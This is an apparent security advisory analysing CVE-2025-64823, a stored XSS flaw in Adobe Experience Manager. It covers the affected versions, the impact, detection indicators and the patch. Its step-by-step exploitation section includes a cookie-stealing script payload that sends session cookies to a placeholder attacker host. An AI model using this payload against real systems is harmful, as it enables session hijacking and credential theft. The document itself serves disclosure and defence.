CVE-2025-64823: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64823 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises), AEM 6.5 LTS, and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, with Adobe releasing a patch the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and executed in the browser of any victim who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious payload) and low privileges on the AEM instance. The attack vector is network-based with low attack complexity (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions on behalf of the victim, or further phishing attacks. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to the victim's browser environment. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory, Feedly).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, accessible over the network.
2. Obtain low-privileged access: Authenticate to the AEM instance using a low-privileged user account (e.g., a content author or contributor account).
3. Locate vulnerable form field: Navigate to a page or component within AEM that contains a form field susceptible to stored XSS (e.g., a text input or rich-text editor that does not properly sanitize input).
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a victim (e.g., an administrator or other user) to browse to the page containing the injected payload; the malicious script executes in their browser context.
6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data exfiltrated to the attacker-controlled server (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing encoded script tags or JavaScript event handlers in request bodies.
• File System / Content Repository: Presence of <script> tags, javascript: URIs, or HTML event handler attributes (e.g., onerror, onload) in stored AEM page content or JCR node properties.
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data in query parameters.
• Logs: Browser-side console errors or AEM error logs indicating unexpected script execution or content security policy (CSP) violations on AEM pages.

Adobe has released patches addressing CVE-2025-64823 in AEM 6.5.24.0 (for on-premises installations) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a general workaround, restricting content authoring permissions to trusted users and enabling a strict Content Security Policy (CSP) can reduce the risk of XSS exploitation. Review and apply the full APSB25-115 advisory, as it addresses multiple vulnerabilities across AEM (Adobe Advisory).

The vulnerability was detected by Tenable's Nessus scanner (plugin 278346) and listed in vulnerability aggregators such as Vulners and VulDB shortly after disclosure. No notable independent researcher commentary or significant social media discussion has been identified beyond standard vulnerability tracking and aggregation (Tenable, Feedly).